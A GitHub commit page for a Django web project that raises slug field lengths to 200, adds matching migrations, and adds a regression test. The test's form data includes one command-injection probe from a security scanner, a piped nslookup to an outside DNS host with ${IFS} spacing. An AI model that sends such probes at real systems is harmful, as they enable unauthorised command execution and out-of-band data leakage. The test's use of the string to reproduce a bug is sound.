Skip to content

Commit 482b7a7

Browse files
committed
Match max_length values of name and slug fields
The default value of SlugField.max_length is 50. This commit fixes the following exception: DataError: value too long for type character varying(50) See test_slug_field_max_length for more details. Sentry issue number: PYDOTORG-PROD-23
1 parent 8b4fb66 commit 482b7a7

File tree

8 files changed

+153
-1
lines changed

8 files changed

+153
-1
lines changed

Diff for: cms/models.py

+1-1
Original file line numberDiff line numberDiff line change
@@ -52,7 +52,7 @@ class Meta:
5252

5353
class NameSlugModel(models.Model):
5454
name = models.CharField(max_length=200)
55-
slug = models.SlugField(unique=True)
55+
slug = models.SlugField(max_length=200, unique=True)
5656

5757
class Meta:
5858
abstract = True

Diff for: companies/migrations/0005_auto_20180705_0352.py

+18
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
# Generated by Django 2.0.6 on 2018-07-05 03:52
2+
3+
from django.db import migrations, models
4+
5+
6+
class Migration(migrations.Migration):
7+
8+
dependencies = [
9+
('companies', '0004_auto_20170821_2000'),
10+
]
11+
12+
operations = [
13+
migrations.AlterField(
14+
model_name='company',
15+
name='slug',
16+
field=models.SlugField(max_length=200, unique=True),
17+
),
18+
]

Diff for: downloads/migrations/0006_auto_20180705_0352.py

+28
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
# Generated by Django 2.0.6 on 2018-07-05 03:52
2+
3+
from django.db import migrations, models
4+
5+
6+
class Migration(migrations.Migration):
7+
8+
dependencies = [
9+
('downloads', '0005_move_release_page_content'),
10+
]
11+
12+
operations = [
13+
migrations.AlterField(
14+
model_name='os',
15+
name='slug',
16+
field=models.SlugField(max_length=200, unique=True),
17+
),
18+
migrations.AlterField(
19+
model_name='release',
20+
name='slug',
21+
field=models.SlugField(max_length=200, unique=True),
22+
),
23+
migrations.AlterField(
24+
model_name='releasefile',
25+
name='slug',
26+
field=models.SlugField(max_length=200, unique=True),
27+
),
28+
]

Diff for: events/migrations/0007_auto_20180705_0352.py

+18
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
# Generated by Django 2.0.6 on 2018-07-05 03:52
2+
3+
from django.db import migrations, models
4+
5+
6+
class Migration(migrations.Migration):
7+
8+
dependencies = [
9+
('events', '0006_change_end_date_for_occurring_rules'),
10+
]
11+
12+
operations = [
13+
migrations.AlterField(
14+
model_name='eventcategory',
15+
name='slug',
16+
field=models.SlugField(max_length=200, unique=True),
17+
),
18+
]

Diff for: jobs/migrations/0018_auto_20180705_0352.py

+23
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
# Generated by Django 2.0.6 on 2018-07-05 03:52
2+
3+
from django.db import migrations, models
4+
5+
6+
class Migration(migrations.Migration):
7+
8+
dependencies = [
9+
('jobs', '0017_auto_20180705_0348'),
10+
]
11+
12+
operations = [
13+
migrations.AlterField(
14+
model_name='jobcategory',
15+
name='slug',
16+
field=models.SlugField(max_length=200, unique=True),
17+
),
18+
migrations.AlterField(
19+
model_name='jobtype',
20+
name='slug',
21+
field=models.SlugField(max_length=200, unique=True),
22+
),
23+
]

Diff for: successstories/migrations/0009_auto_20180705_0352.py

+23
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
# Generated by Django 2.0.6 on 2018-07-05 03:52
2+
3+
from django.db import migrations, models
4+
5+
6+
class Migration(migrations.Migration):
7+
8+
dependencies = [
9+
('successstories', '0008_auto_20170821_2000'),
10+
]
11+
12+
operations = [
13+
migrations.AlterField(
14+
model_name='story',
15+
name='slug',
16+
field=models.SlugField(max_length=200, unique=True),
17+
),
18+
migrations.AlterField(
19+
model_name='storycategory',
20+
name='slug',
21+
field=models.SlugField(max_length=200, unique=True),
22+
),
23+
]

Diff for: successstories/tests/test_views.py

+24
Original file line numberDiff line numberDiff line change
@@ -175,3 +175,27 @@ def test_story_duplicate_slug(self):
175175
response = self.client.post(url, post_data)
176176
self.assertEqual(response.status_code, 200)
177177
self.assertContains(response, 'Please use a unique name.')
178+
179+
def test_slug_field_max_length(self):
180+
# name and slug fields come from NameSlugModel and their max_length
181+
# attributes weren't equal. Default value of SlugField.max_length is
182+
# 50 and since we set CharField.max_length to 200, we have to update
183+
# SlugField.max_length as well. This was found by Netsparker and
184+
# recorded by Sentry. See PYDOTORG-PROD-23 for details.
185+
url = reverse('success_story_create')
186+
187+
post_data = {
188+
'name': '|nslookup${IFS}"vprlkb-tutkaenivhxr1i4bxrdosuteo8wh4mb2r""cys.r87.me"',
189+
'company_name': 'Company Three',
190+
'company_url': 'http://djangopony.com/',
191+
'category': self.category.pk,
192+
'author': 'Kevin Arnold',
193+
'author_email': '[email protected]',
194+
'pull_quote': 'Liver!',
195+
'content': 'Growing up is never easy.\n\nFoo bar baz.\n',
196+
settings.HONEYPOT_FIELD_NAME: settings.HONEYPOT_VALUE,
197+
}
198+
199+
response = self.client.post(url, post_data)
200+
self.assertEqual(response.status_code, 302)
201+
self.assertRedirects(response, url)

Diff for: work_groups/migrations/0004_auto_20180705_0352.py

+18
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
# Generated by Django 2.0.6 on 2018-07-05 03:52
2+
3+
from django.db import migrations, models
4+
5+
6+
class Migration(migrations.Migration):
7+
8+
dependencies = [
9+
('work_groups', '0003_auto_20170821_2000'),
10+
]
11+
12+
operations = [
13+
migrations.AlterField(
14+
model_name='workgroup',
15+
name='slug',
16+
field=models.SlugField(max_length=200, unique=True),
17+
),
18+
]

0 commit comments

Comments
 (0)